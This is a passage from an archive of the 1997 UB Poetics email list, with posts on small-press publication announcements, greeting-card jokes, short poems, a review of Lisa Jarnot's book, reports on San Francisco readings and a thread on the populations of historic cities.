Also discover upon my return that Utah Phillips now has a program on the same station -- So there is some rest for the righteous --

Greeting Card wars of some time ago still available on Poetics archive -- Hallmark itself still in Kansas City -- The verse by the side of the road is still by the side of the road --

little shaver,
aldon

↑ Index

691. **Christopher Reiner**
Witz Publications Received
Mon 27 Jan 1997

Witz has always featured a "Publications Received" section, but because of space limitations it has never contained as much information as I'd like. After Charles Bernstein's call for postings of publication announcements on the Poetics List, I thought I'd take the opportunity to post more extensive descriptions of the books and journals sent to Witz. I'll do a few at a time, to avoid long posts. For additional information, please contact the editors ("snail mail" addresses provided -- e-mail addresses usually unknown). Apologies in advance if I mangle the spelling of a name.

Magazines and Journals:

House Organ (number 17, Winter 1997), edited by Kenneth Warren (1250 Belle Avenue, Lakewood, OH 44107). Work by Robert Yagley, Barbara Drake, Cid Corman, Joel Lipman, Joe Napora, Fielding Dawson, Vincent Ferrini, Kenneth Warren, Stephen Ellis, Owen Hill, D.E. Stewart, Tod Thilleman, Martha King, Jesse Glass, Gary David, Albert Cook, Miriam Sagan, Margueritte, Jack Hirshman.

# # #

Smelt Money (number 9), edited by Jim McCrary (P.O. Box 591, Lawrence, KS 66044), no table of contents. Contains work by Dave Baptiste Chirot, Richard Kostelanetz, John M. Bennett, and an excerpt from Daniel Davidson's _Product_, reprinted from the first issue of Stifled Yawn (Winter 1990).

# # #

Lyric& (number 5), edited by Avery E.D. Burns (P.O. Box 640531, San Francisco, CA 94164-0531), 135 pages. The "Italian" issue, "Homage to Guilia Niccolai." Work by Catullus (trans. George Albon), Guiseppi Ungaretti (trans. William Hawkins Cirocco), Eugenio Montale (trans. Lawrence Venuti), Salvatore Quasimodo (two versions by Avery E.D. Burns), Pier Paolo Pasolini (trans. William Hawkins Cirocco), Dario Villa (trans. Duncan McNaughton & Dario Villa), Anna Casella (trans. Lawrence Venuti), Gino Scartaghiande (trans. Pasquale Verdicchio), Kevin Killian, Amelia Rosselli (trans. Lucia Re & Paul Vangelisti), Pier Paolo Pasolini (trans. Pasquale Verdicchio), Spencer Selby (trans. Alberto Vitacchio), Franco Beltrametti (trans. Duncan McNaughton), Milo De Angelis (trans. Lawrence Venuti), Giovanna Sandri (trans. Guy Bennett), Albert Schieppati (trans. Pasquale Verdicchio), Adriono Spatola (trans. Paul Vangelisti), Valerio Magrelli (trans. Pasquale Verdicchio), Duncan McNaughton, Nanni Baestrini (trans. Carla Billitteri & Martin Spinelli), Adriano Spatola (trans. Paul Vangelisti), Dario Villa (trans. McNaughton & Raworth & Stein), Jolanda Insana (trans. Pasquale Verdicchio), Guy Bennett, Elio Pagliarani (trans. Kathleen Fraser), Corrado Costa (trans. Paul Vangelisti), Antonio Ria (trans. with note by Duncan McNaughton). Also, Paquale Verdicchio interviewed by Rodrigo Toscano.

↑ Index

692. Ron Silliman
Taking Heart, Giving Spleen
Mon 27 Jan 1997

David,

The late Darrell Gray got a job with Hallmark right after his graduation from Iowa City and, as I recall, did not care for the conditions of his employment much.

I can imagine a line of greeting card valentines with texts from Zukofsky. But then I can also imagine a second line, more acerbic, with texts from Jack Spicer.

Ron Silliman
(having used lines from R. Duncan
on my wedding cake 10 years back)

>From: David Bromige <[redacted]>
>Subject: hallmark cards
>
>"anyone know how to get into the greeting cards business?" Yes. I had
a poetry-writing student who did this. The idea came to him in class

one evening.There was a silence after he had read aloud his new poem,
and then one of the other students sd,"You know, so-&-so, you should
write for Hallmark." He sd, "Do you think I could?" A month or so
later, he came up to me: "Congratulate me, I've got a job writing for
Hallmark!" Apparently, at his classmate's suggestion, he had contacted
them, sent them samples of his work, and had been engaged on some kind
of freelance cottage-industry basis. sorry i cant tell you what the pay
was. But the gap between poetry and greeting-cards writing is not
necessarily unbridgeable, and we can all take heart from this example.
db
>
>----------

↑ Index

693. **Rachel Loden**
Re: Taking Heart, Giving Spleen
Mon 27 Jan 1997

Ron Silliman wrote:

> *I can imagine a line of greeting card valentines with texts from Zukofsky. But then I can also imagine a second line, more acerbic, with texts from Jack Spicer.*

Ron will apparently tease us with these disappearing chiffon scarves of his unexpectedly Victorian imagination, while being unwilling to truly carry the banner on. How disappointing! I've shredded my prototypes.

As to why I'm awake at this hour, db: it must be the repeating nightmare in which I'm wandering in Bowering Manor, bumping into statuary and suits of armor. There's a low growling, as though some sort of wild beeste were holed up in the Down Under Suite. I walk toward the sound, turn the knob, and...wake up abruptly, with an eerie little voice saying "Please insert your coin."?!

Rachel

↑ Index

694. **maria damon**
Re: Taking Heart, Giving Spleen
Mon 27 Jan 1997

---

rachel, yr magnificent!

In message <[redacted]> UB Poetics discussion group writes:
> Ron Silliman wrote:
>

> > I can imagine a line of greeting card valentines with texts from
> > Zukofsky. But then I can also imagine a second line, more acerbic,
> > with texts from Jack Spicer.
>
> Ron will apparently tease us with these disappearing chiffon scarves of
> his unexpectedly Victorian imagination, while being unwilling to truly
> carry the banner on. How disappointing! I've shredded my prototypes.
>
> As to why I'm awake at this hour, db: it must be the repeating nightmare
> in which I'm wandering in Bowering Manor, bumping into statuary and
> suits of armor. There's a low growling, as though some sort of wild
> beeste were holed up in the Down Under Suite. I walk toward the sound,
> turn the knob, and...wake up abruptly, with an eerie little voice saying
> "Please insert your coin."?!
>
> Rachel
>

↑ Index

695. **robert drake**
addresses?
Mon 27 Jan 1997

---

i'm looking for a couple ov address updates: for _upper limit music_ and for Steve Ellis/OASii... email or pony express, and backchannel. sorry to burden thee list.

asever
luigi

========== If you come into * linen, your time is thirsty because * ink saw some wood intelligent enough to get giddiness from a sister. However, even it should be smilable to shut * hair whose * water writes always in * plural, they have avoided * frequency, meaning mother in law, * powder will take a chance; and * road could try. But after somebody brought any multiplication as soon as * stamp was out, a great may cords refused to go through. Around wire's people, who will be able to sweeten * rug, that is to say why must every patents look for a wife? Pushing four dangers near * listening-place, * vacation had not dug absolutely nor this likeness has eaten.--md 1915 ==========

↑ Index

696. Don Cheney
truth in advertising
Mon 27 Jan 1997

forget all those big-money tv ads during the superbowl,
one of the great advertisements happened on the radio.
it was an ad for budweiser and it asked the commentators
from the fox superbowl coverage, ronnie lott and howie
long, what was the most important thing they'd be
doing in relation to the superbowl. and both of the men
agreed that the most important thing was getting people
to buy 6-packs of budweiser before the game.

as my dad would say, i kid you not.

don

---
visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/~doncheney
[redacted]

↑ Index

697. Douglas Messeril
New Sun & Moon Titles
Mon 27 Jan 1997

Sun & Moon Press is proud to announce
several new titles. As in the past, these
are offered to Poetics List subscribers
at a 20% discount. Send your orders to
[redacted] or mail to
Sun & Moon Press, 6026 Wilshire Boulevard,
Los Angeles, California 90036
We will bill you.

Robert Bresson. NOTES ON THE CINEMATOGRAPHER

Notes on cinema by the great French film director
Robert Bresson. The second in the new Green Integer
series of non-fiction works.

$8.95

Messerli, ED. THE GERTRUDE STEIN AWARDS IN INNOVATIVE AMERICAN POETRY 1994-1995

The second edition of what we joyfully call the "gerties," this volume includes the work of nearly 100 younger and established American and Canadian poets, including Carla Harryman, Martine Bellen, Jena Osman, Ed Roberson, H.T., Spence Selby, Richard Foreman, Peter Gizzi, Leslie Scalapino, Kenneth Irby, Stacy Doris, Bruce Andrews, Juliana Spahr, Guy Bennett, Will Alaexander, Kathleen Fraser, Diane Ward, Aaron Shurin, Cole Swensen, Ron Silliman, Gil Ott, Jackson Mac Low, Harryette Mullen, Myung Mi Kim, Tan Lin, Lynne Dreyer, Fiona Templeton, Mac Wellman, Lisa Jarnot, Elizabeth Fodaski, and many, many others.

$14.95

Dominique Fourcade. CLICK-ROSE
Translated from the French by Keith Waldrop

The second book published by Sun & Moon Press by the noted French poet, Dominique Fourcade.

$10.95

Paal-Helge Haugen. WINTERING WITH THE LIGHT
Translated from the Norwegian by Roger Greenwald

One of the most respected and noted of contemporary Norwegian poets, Paal-Helge Haugen's work is dark and lucid, a work about despair that sheds light on hope and possibility.

$10.95

Heimito von Doderer. THE MEROWINGIANS or THE TOTAL FAMILY

In this hilarious satire of the ancient Merowingian line, von Doderer takes the Austrian novel into new dimensions of sublime ridiculousness. Never before translated into English, this represents the third von Doderer book published by Sun & Moon Press. Others are planned.

$15.95

You should also check out our web page, which will soon be
updated. We still have the special "after Christmas sale"
on several Sun & Moon titles. That site is

http//:www.sunmoon.com

↑ Index

698. **Tosh**
Re: New Sun & Moon Titles
Mon 27 Jan 1997

> Sun & Moon Press is proud to announce
> several new titles. As in the past, these
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> Los Angeles, California 90036
> We will bill you.
>
> Robert Bresson. NOTES ON THE CINEMATOGRAPHER
>
> Notes on cinema by the great French film director
> Robert Bresson. The second in the new Green Integer
> series of non-fiction works.
>
> $8.95
>

Douglas and poetics people:

This is such a great book! Great work in getting this book back in print.

Tosh Berman
TamTam Books

↑ Index

699. **aerialedge**
New Objects
Mon 27 Jan 1997

---

3 new chapbooks from Object Editions:

My Life in Politics or A history of N=A=R=R=A=T=I=V=E film by Tim Davis.

adversities of outerlife by Judith Goldman.

A Self-Guided Walk by Kimberly J. Rosenfield.

Beautiful letter press covers lovingly sewn. What's inside's what you should know though. Each is $6. Order from Rob Fitterman at address below. However you should also be apprised of:

Object 7 featuring Steven Farmer, + Larry Price, Celestine Frost, Jackson Mac Low, Judith Goldman, Michael Friedman/Duncan Hannah, Hung Q. Tu, Laura Price, Steve Tills, Sheila E. Murphy, & Chris Stroffolino. $7.

& some copies left of

Object 6 featuring Jennifer Moxley, + Rodrigo Toscano, Gail Sher, Brian Kim Stefans, Dan Farrell, Lisa Jarnot, Nick Lawrence, Dierdre Kovac, W.B. Keckler, Robert V. Hale, & a portfolio by Richard Baker.$7.

Orders to Robert Fitterman, Object, 7-13 Washington Square North #47B, NY, NY 10003. Checks payable to Robert Fitterman.

↑ Index

700. Eliza McGrand- CVA Guest

Re: commisions

Mon 27 Jan 1997

once taut, once tight, twice blessed, employed
in city's bright with office noise
think of us, whenever you do
sweating to oldies and missing you

-- e, my entry

↑ Index

701. acgold01

Twentieth-Century Lit. Conference

Mon 27 Jan 1997

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

In case any of you are interested, we're still looking for some folks to chair panels at this year's Twentieth-Century Literature Conference, Feb. 22-24. Areas that we still need to "cover" include both modern and contemporary poetry (mostly, though not exclusively, American), film, postcolonial, and Joyce. Featured speaker / readers this year are Bonnie Kime Scott, Tobias Wolff, Meena Alexander. Listmates and fellow travellers who are scheduled to come include

Maria Damon, Chris Beach, Jena Osman, Kristin Prevallet, Mark Scroggins, Chris and Debra Parr, . . . (if I've overlooked someone, apologies)

The person to contact is the conference director, Harriette Seiler, at [redacted].

Plus you get to see me, and what greater inducement could there be?

Scary thought for the day: that "The Gift Outright" is the best inaugural poem we have.

Alan

↑ Index

702. Miekal And
Re: 14 perfect lines, jennifer
Mon 27 Jan 1997

---

beau-
-tific
in-
sis-
-tent
ana-
phorix

noise in
speech the
sonnet sung, Miekal

↑ Index

703. Chris Stroffolino
Re: POETICS Digest - 25 Jan 1997 to Doug Messerli
Mon 27 Jan 1997

Is Doug Messerli still on this list? If not, does anybody have his address....? I hear the GERTRUDE STEIN AWARD book is out and am curious.....(please backchannel)...Chris Stroffolino

↑ Index

704. Michael Boughn
HD
Mon 27 Jan 1997

Those on the list interested in HD should check out the HD Homepage. Heather Hawkins and I have recently posted two reviews HD wrote in the 30's under the pseudonym Sylvania Penn. One reviews Edgar Guest's biography of Whitman,

the other Irving Stone's "biography in letters" of Van Gogh. They provide a glimpse of HD engaged in rare critical discussions of, in the one case, the American writing tradition and, in the other, of representations of Van Gogh's "madness".

The URL is http://www.well.com/user/heddy/hdrevi.html

I'd love to hear any responses people have.

Best,
Mike
[redacted]

↑ Index

705. Rachel Loden

*easier _no roses_*

Mon 27 Jan 1997

For ease in ordering the new _no roses review_, email the editors at [redacted]

no roses review
#7

edited by Carolyn Koo
& Davis McCombs

NIN ANDREWS
BRUCE ANDREWS
STAR BLACK
W.K. BUCKLEY
CHERYL BURKET
WILLIAM DORESKI
PAMELA ERENS
RENEE GLADMAN
ARPINE GRENIER
PHILIP KOBYLARZ
MARYROSE LARKIN
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SUBSCRIPTIONS $12/yr
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↑ Index

706. **Alan Jen Sondheim**

14 perfect lines, jennifer

Mon 27 Jan 1997

4
about death being a handled thing
about humanity hammering out a home
about insistence and drudgery
about sweeping with a shot-broom
2
about those horse-killings down
there in the brambles
about extinctions things
with doubled chasm-heads, three-legs
1
about jennifers'ss pasting herself
in pies and strudels against docks
waterfowl biers in her transparent
head with burned watery quarks
0
boat-water round about these
blue parts fluorescent lemur

↑ Index

707. **David Bromige**
address
Mon 27 Jan 1997

---

luigi-bo drake: [redacted] will get you aldon nielsen, editor of upper limit song.keep up the good work. db

↑ Index

708. **Miekal And**
Re: whippet whirly word project
Tue 28 Jan 1997

---

where on the planet is this happening?

m

↑ Index

709. **Miekal And**
Re: whippet whirly word project
Tue 28 Jan 1997

---

k.a. hehir wrote:
>
> On Tue, 28 Jan 1997, Miekal And wrote:
> > where on the planet is this happening?
>
> this is happening in londonOnt. canada.
> of course i realize that the only people on this list that will be able to
> make this, i've already seen this morning. the reason i post is just to
> let the
> world know that near and far, things are going on - re -live-poetry.
>
> another time, another planet,
> kevin

that's fine kevin, some of us even have very active imaginations...

miekal

chicken baking, boots untied, birds squawking fer their lunch

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:

http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

710. **maria damon**
Re: 14 perfect lines, jennifer
Tue 28 Jan 1997

---

jennifer-alan s, yr the greatest! (what's your hebronic name?)--aha, that's another thing we cd all share --what our names "really" are. damon used to be diamond until grandpa; maria is to be easily pronounced in english and danish.

In message <[redacted]> UB
Poetics discussion group writes:
> 4
> about death being a handled thing
> about humanity hammering out a home
> about insistence and drudgery
> about sweeping with a shot-broom
> 2
> about those horse-killings down
> there in the brambles
> about extinctions things
> with doubled chasm-heads, three-legs
> 1
> about jennifers'ss pasting herself
> in pies and strudels against docks
> waterfowl biers in her transparent
> head with burned watery quarks
> 0
> boat-water round about these
> blue parts fluorescent lemur
>
>
> _____
>

↑ Index

711. David Bromige
Rod Smith's review
Tue 28 Jan 1997

Must respond right away to Rod Smith's excellent review of Lisa Jarnot's book. Havent read the book (not even sure i'm getting her name straight) but will now lay hands upon it a.s.a.p. But to appreciate much of what Rod says, one doesnt need to have read the book: but to have read book_s_, books of fine poetry for which this society finds no use. Ok, now, on the britishpoets list, theres been much discussion of what to, as brainst(or 'd')reamers, abt our marginalization by the maindrainers (marvelous play on "mandarins"), Some saying ignore 'em, others counseling tactical intervention, etc. Provocative discussion. Anyway,as one who's for intervention, I say why not try to reprint this review in one of various (?) maindrain publications? Who knows--for some editor out there, the time may feel ripe. db

↑ Index

712. Aldon L. Nielsen
Re: Daimonics
Tue 28 Jan 1997

"Nielsen" used to be "Nielsen" -- though a first grade teacher, convinced that I did not know how to spell my own name, forced me to write "Nelson" on my name tag for parents' night, with exactly the consequences you'd expect. Cambridge more recently tried to make me a "Nielson," but we've got that fixed --

More problematic is my first name, which was originally "Aldon," but which people insist on pronouncing "All done" -- I will permit Alan Golding to continue to pronounce it that way, as he's not a native speaker (just kidding you All an), but will insist on having it my way with all U.S. bred pronouncers -- (Danes seem to get it right for some reason, despite it's having altered on these shores.)

Speaking of Scandanavics -- Swedish poet Werner Aspenstrom (you'll have to imagine an umlaut over that "o") died in recent days -- Whatever the merits of his verse (and I only read it in English translation, so reserve final judgement), I always honored him for his stand in defense of Rushdie when he was associated with the Nobel committee --

↑ Index

713. **Alan Jen Sondheim**
Re: 14 perfect lines, jennifer
Tue 28 Jan 1997

---

avi it is, goes back thankfully to the akkadian

alan

↑ Index

714. **Brigham Taylor**
More on the urban poetry thread...
Tue 28 Jan 1997

One of my favorite miscellaneous statistics in my collection is that after the fall of Rome, no city reached equal size-population-dimentions-density until London in the early nineteenth century. Any classicists out there know of poetic evocations of ancient Rome?? Beyond the panegyric "Rome is mighty and great" mode, I mean.

Brigham

↑ Index

715. **shoemakers**
Re: More on the urban poetry thread...
Tue 28 Jan 1997

Well, this isn't quite what you asked for, but I've always been fond of Pound's retro-modernizing impulse in "Homage to Sextus Propertius," as in:

My cellar does not date from Numa Pompilius,
Nor bristle with wine jars,
Nor is it equipped with a frigidaire patent...

and then a few lines further on, when he talks about "expensive pyramids scraping the stars in their route," it seems he must be thinking of modern "skyscrapers." This, btw, is one of my favorite Pound poems, very funny and witty, hilariously "archaeological" w/out excessive obscurity. steve

On Tue, 28 Jan 1997, Brigham Taylor wrote:

> *One of my favorite miscellaneous statistics in my collection is that after the fall of Rome, no city reached equal size-population-dimentions-density until London in the early nineteenth century. Any classicists out there know of poetic evocations of ancient Rome?? Beyond the panegyric "Rome is mighty and great" mode, I mean.*

> *Brigham*

Steve Shoemaker

↑ Index

716. aerialedge
*review of _Some Other Kind of Mission_*
Tue 28 Jan 1997

This recently appeared in _The Washington Review_. Written, of course, with that audience in mind but perhaps of interest to poetics.

Some Other Kind of Mission, Lisa Jarnot, Burning Deck, $11. Available from fine booksellers everywhere.

Lisa Jarnot is a great artist. You haven't heard of her? Why haven't you heard of her? Because her chosen art form is poetry & poetry doesn't matter in America.

Why doesn't poetry matter in America? I don't know.

Let's look at Jarnot's book & try & figure that one out. _Some Other Kind of Mission_ is a subtle, elegant, intelligent book. There are lots of animals in it. There are ferrets, black birds, squirrels, blue terns, carp, crawfish, pigeons, pigs, chickens, and rabbit. The animals are the words already in your head that are alive. You can't explain them. You need to be reminded of this.

Why doesn't poetry matter in America? Because in America everything is _for_ something. It must have a use. You are a person, you are alive, you can't be explained; but you can be used. But you can use poetry, this poetry, to remind you that you are alive. Here's some:

"i was at the walls in bars and they were speaking all around the field soil. they retracted me to the farm my plan. fuck you. in chaos. the bus behind the plan and dreamt of spoken but retracted. having only terns and the firs and the clover clever here at the lamplight in the firs of having clover. all around at having field soil in the chaos. retracted having only in the meticules unlikely farm. shot down by the motorcade in light of next to polar. in chaos, still retracted, at the plan of having dreamt."

What I mean to say is the use most people are put to in America doesn't follow from their need, but rather from the needs of a small number of rich people. This has always been the case but it's gotten worse again lately. Remember:

"Outside the sky is hanging by the composition of he who eats eats first with we will sell you. and this ever you, and ever this ever you, and ever of you this and. my love speaks about the overpass. my love speaks about newark. my love speaks through the merging traffic. especially with the radio on."

Jarnot's book is both more & less political than this review. It is in the realities of its own being as a book, and remains a constant word-life that doesn't have to justify itself to you or any other discourse. & so it is absolutely political because it knows itself. & I will tell you itself is better than America ripping you & me & everybody to death of course but not without a life to choose first thank you & you can't now because they use you, you have to live up to them, they don't let you be what you are or even let you think about it with other people mostly when you're with other people you have to do the bull they give you food for or else you're just too tired or horny or something but they just use you like some goddamn swizzle stick or something. Ya know?

But I don't want to stop at that because there are so many things in Lisa Jarnot's book. So many things she's doing that the excerpts above don't really show. They always want you to tell them what it is don't they. But they don't understand when you show them. Are they just dumb?

Why do I say poetry doesn't matter in America? Well, one example is a new book of poetry by Bernadette Mayer published by New Directions called _Proper Name and Other Stories_. There are a few "stories" in the book but mostly it's poetry, a lot of it is prose poetry, but there is also a fair amount of poetry with line breaks. So, why did they call it stories? Obviously they thought they would sell more if they called it stories. A lot of booksellers seem to think poetry doesn't sell so they don't order it. Of course it doesn't sell if they don't have it. I have worked in three bookstores that did order poetry & it did sell, a lot. That's the story. By the Way _Proper Name_ is an amazing book. & I'm not picking on New Directions as if I could at least they have the sense to publish Bernadette Mayer.

Lisa has a lot of very beautiful visual poems in her book. Well, they're not visual poems really but poems being visual as well as poems. I mean a lot of visual poems are to look at but these are to read and to look at at the same time. At the very same time. The visual poems bring you into the book & let you be there in the book too. They are mysterious. I should use some bigger words I suppose to convince you. The book is organized as an imminent pastiche. It's locales are neither authorial nor excessive, rather the learned ideology of generalized freedom is a coaxing device to carry the abandoned and irreversible time (a kind of _pseudo-cyclical exchangeability_) _within_ the perception's "fully equipped" quantitative equality. The unconscious superego is "always meeting hermits on the phone." It helps you live here: ". . .in your neighborhood and the street you cross is inner truth."

--Rod Smith

↑ Index

717. Jerry Rothenberg
Re: More on the urban poetry thread...
Tue 28 Jan 1997

Someone might check on this, but there are indications that Tenochtitlan (Mexico City today) was at the time of the Conquest the most populated city in the world -- some way larger than London. I don't know how this would compare with ancient Rome (or London by the 19th), but just for the record ...

JR

↑ Index

718. Steve Carll
triple crown of poetry
Tue 28 Jan 1997

It was a busy weekend for the poetry mavens of san francisco this weekend, with three exciting readings in as many days.

It all started, as I remember it, on Friday night at new college, with Dodie Bellamy welcoming Nathaniel Mackey into the space Robert Duncan used to hold court in. Mackey proceeded to bind us in the spell of the Andoumboulou, the prototypical humans we ourselves all-too-frequently resemble. He read from _School of Udra_, _What Said Serif_, and _Atet A.D._, a groovy Mystic Horns Society epistle commissioned and then rejected for inclusion in the JVC Jazz Festival Guide. Some of the lines and phrases I caught were:

took to beng taken past the breaking point
desolate seed-pod, mother-in-law's tongue
as if by late light shaped
something a Sufi said in Andalusia
in oblique league with majesty
aspic allure
panicky butterfly, lyric escape
opaque pronouns, persons whether or not we knew who they were
seven-sided house said to have been left in heaven
"What does 'language is a fruit of which the skin is chatter' mean?" he asked.
rattled by wisdom's visit
an Ur-sound blew through our phones
I was the what-sayer: whatever he'd say, I'd say, "So what."
gaze a ghost would give

Also witness to Mackey's entracing cadences were Steve Dickison, Tina Rotenberg, Stephanie Baker, Rodrigo Toscano, Hung Tu, Renee Gladman, Giovanni

Singleton, Mary Burger, Pamela Lu, Jay Schwartz, Lauren Hudath, Doug Powell, Robert Hale, David Larson and Aaron Shurin.

Afterwards there was crowding and smoking at the Elbo Room

On Saturday it was off to New Langton Arts on Folsom and 8th, where Kit Robinson introduced Bill and Ted's Excellent Poetry Reading. Bill being Berkson, Ted being Greenwald, both being excellent. Berkson went first, reading from _Lush Life_ and diving into a short autobiographical story about being a young autograph hound in New York in the 50's, waiting for ballplayers outside hotel lobbies. Also included was "Shelter", in memory of Jim Brodey. Some of Bill's gems included:

I can see where the sky takes a bend
I feel the finesse of particles
the strips in place are a snore of blue
"Sorry," says recorded time, "Didn't get it. Lost my concentration."
ash is crystal. ecstacy is near.
private mollusk and arachnid
midnight moonlight mobbed Dante's bridge
birds that freak in unison
worth mentioning?
amateur self always swapping cartoon bodies
one by one the prawns mounted the barfly's plate
the box pictures the box
do you recall the words for fog?

After a break in which many of us wandered upstairs to look at art made by obsessives (and I mean that in an admiring way), we settled back down to watch a video by Les Levine starring Ted Greenwald and Ted Greenwald as poker sharks explaining the tricks of the trade. Unfortunately, the wiring from the VCR to the monitor was bad and the sound faded in and out, making following the action a chore. Luckily the real Ted Greenwald took his place on the stage and picked up the slack. Ted read almost without pausing between poems, his foot keeping the beat as he delivered his work in staccato rhythm. Some of the endlessly permuted phrases were:

I be my own boss
I be my own police
honk when you leave your knees
"heart" as a verb
understands what inner workings?
boats planes trains telling it all
who would've thought self dissolves?
terrible modern flattery enters therapy

would you like to talk about it?
the calculations seem rotund
the figures round off
in need of multiple thighs
bored demi-smiles
can't imagine glass topic moving here

Audience members I recognized included Pat Reed, Alex Cory, Leslie Scalapino, Laura Moriarty, Nick Robinson, Charlie Palau, Kush, Kenward Elmslie, Kevin Killian, Dodie Bellamy and Lyn Hejinian.

Sunday at Canessa Park was the third leg of S.F. Poetry's Triple Crown, the publication party for _Antenym_ 11. Avery E.D. Burns, the guy with the keys, was ill, and we didn't think we were going to get into the space for a few minutes there, but Avery came through (though at times he didn't seem to be all there, if you know what I mean) and we got started at 3:30. After a brief brain hiccup I was able to articulate some ideas on ontological activism, the notion of bringing the question "what am I doing here?" out for communal input and its transformation into "what are we all doing here?" with its necessary corollary, "How do we wish to continue to be here?" Then Darin DeStefano read some new short poems, subtly twisting his words into phrases like

amphibiously naked among stars
its softness wrecks my psychology so deftly
as if stones might begin ambiguously to song themselves
"The moon has become crazy over you, get on."
room after room of empty thumb
night chased me for hours
at 4:15 mother sends me to calm the bees

Instead of taking a break, we just plowed right through to Pat Reed, who read her new handmade book called _Dawn Walking Shoes_, written at Green Gulch Farm (a Zen monastery) in 1994, and moving on to some stories about her Vietnamese ESL students. Some lines from the book included

somewhere a small bell crimps the naked time
the trees fall through me
the blackbird's 3 notes start high and climb down
the sea-wave is a story of motion arriving at the beach

Eric Selland finishes us off with the complete _Songs_, his recently completed series based on Japanese *tanka*, 5-line stanzas having the syllabic pattern 5-7-5-7-7 (the resemblance ends there, he told us), following that with stanzas read at random from his _Transparencies_, a long work with a more complex architectural pattern which I won't try to describe. Some of his lines were:

pointless a sky remains
empty no matter what not
gods who have escaped
border between tree and sky
the finite object becomes
still thought in the broken world
the substance of things
measuring the plenitude
not what I wanted to say

"That goddamn raven! He's taken all my things!"

(OK, he didn't actually read that last one, but it's my favorite line from the _Transparencies_, so I thought I'd share it)

The audience included Andrew Joron, Sheldon Forrest, Mary-Sullivan Roark, Steve Dickison, Tina Rotenberg, Chris Daniels, Kristin Burkart and Lawrence Fixel. Afterwards some of us went to the Lotus Garden on Grant and California for Chinese vegetarian feasting complete with moon cakes for dessert.

So I guess I won't the triple crown, being the only one with the stamina to absorb three days of poetry. I cannot celebrate, however. I got home to discover _The X Files_ was already half over. :-(

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

719. k.a. hehir
whippet whirly word project
Tue 28 Jan 1997

POETRYPOETRYpOetRee

Emily Chung Sam Pane
Annabelle Fell Skot
Ian Keeling Rupauk Dey Sicar

hosted by
Kevin Angelo Hehir

Tuesday Feb 4,1997 Whippet Lounge
8:30 pm at the Embassy Hotel
Free 732 Dundas ST. E

[redacted]

Very fine is my valentine very mine and very fine
Gertrude Stein

↑ Index

720. Loss Glazier

urban poetry - mexico

Tue 28 Jan 1997

I'll check on this but it's clear that when Cortes landed, Tenochtitlan was certainly bigger than any city in Spain.

I do know that Teotihuacan, some centuries earlier and near Tenochtitlan, spread over an area larger than ancient Rome at its height, its influence spreading far into Central America.

Another thought is that on the Mayan side of things, American literature started 500 years before English literature, as Dennis Tedlock has pointed out in other venues.

A final note: Mexico City today is still the most populated metropolitan area in the world.

> Someone might check on this, but there are indications that Tenochtitlan
> (Mexico City today) was at the time of the Conquest the most populated
> city in the world -- some way larger than London. I don't know how this
> would compare with ancient Rome (or London by the 19th), but just for
> the record ...
>
> JR
>

↑ Index

721. **k.a. hehir**
Re: whippet whirly word project
Tue 28 Jan 1997

On Tue, 28 Jan 1997, Miekal And wrote:
> where on the planet is this happening?

this is happening in londonOnt. canada.
of course i realize that the only people on this list that will be able to make this, i've already seen this morning. the reason i post is just to let the
world know that near and far, things are going on - re -live-poetry.

another time, another planet,
kevin

↑ Index

722. **Laura Moriarty**
readings (planning snafu)
Tue 28 Jan 1997

Pat Dienstfrey and Laura Moriarty will be reading at Diesel Books on 5433 College Ave. (3 blocks south of the Rockridge BART station) on Wednesday 28 January at 7:30

ALSO

Fanny Howe and Elizabeth Robinson will be reading at Cody's on Telegraph Ave and Haste St. same night same time

↑ Index

723. **Mark Weiss**
Re: More on the urban poetry thread...
Tue 28 Jan 1997

---

no city in Europe.

At 11:30 AM 1/28/97 -0500, you wrote:
>One of my favorite miscellaneous statistics in my collection is that after
>the fall of Rome, no city reached equal size-population-dimentions-density
>until London in the early nineteenth century. Any classicists out there
>know of poetic evocations of ancient Rome?? Beyond the panegyric "Rome is
>mighty and great" mode, I mean.
>
>Brigham

>
>

↑ Index

724. **Mark Weiss**
Re: urban poetry - mexico
Tue 28 Jan 1997

Hangzhou in China was over a million strong, Tenochtitlan is estimated as high as c. 700,000. Dodge City Kansas would have been a metropolis in Europe at the time.

At 03:00 PM 1/28/97 -0500, you wrote:
>I'll check on this but it's clear that when Cortes landed,
>Tenochtitlan was certainly bigger than any city in Spain.
>
>I do know that Teotihuacan, some centuries earlier and near
>Tenochtitlan, spread over an area larger than ancient Rome at its
>height, its influence spreading far into Central America.
>
>Another thought is that on the Mayan side of things, American
>literature started 500 years before English literature, as Dennis
>Tedlock has pointed out in other venues.
>
>A final note: Mexico City today is still the most populated metropolitan
>area in the world.
>---
>> Someone might check on this, but there are indications that Tenochtitlan
>> (Mexico City today) was at the time of the Conquest the most populated
>> city in the world -- some way larger than London. I don't know how this
>> would compare with ancient Rome (or London by the 19th), but just for
>> the record ...
>>
>> JR
>>
>
>

↑ Index

725. Aldon L. Nielsen
Re: urban poetry - Kansas
Tue 28 Jan 1997

Dodge City would have been a metropolis in Euorpe, if it coulda been.

yours in moral Earpitude,
aldon

↑ Index

726. Thomas Lecky
Re: New Sun & Moon Titles
Tue 28 Jan 1997

I would love to get a copy of:

> *Messerli, ED. THE GERTRUDE STEIN AWARDS IN*
> *INNOVATIVE AMERICAN POETRY 1994-1995*
> *$14.95*

I will review it for Cups magazine too; they should be okay with that.

Please send it to me:

c/o William Doyle Galleries
175 East 87th St.
New York, NY 10128

Thanks for offering the discount to Poetics List members. I hope all these titles are successful for you.

Best,
Tom

--

Thomas Lecky
[redacted]
Qwerty Arts http://www.qwertyarts.com

↑ Index

727. Laura Moriarty
more reading snafus
Tue 28 Jan 1997

Pat Dienstfrey and Laura Moriarty will be reading at Diesel Books on 5433 College Ave. (3 blocks south of the Rockridge BART station) on Wednesday 29 January at 7:30.

This one in Oakland on the 29th, not the 28th as previously posted.

ALSO

Fanny Howe and Elizabeth Robinson will be reading at Cody's on Telegraph Ave and Haste St. same night same time

This one is Berkeley, again, on Wednesday the 29th.

↑ Index

728. Joshua N Schuster
Moxley/Brown readings
Wed 29 Jan 1997

THE WRITERS HOUSE PRESENTS

a reading with:

LEE ANN BROWN

&

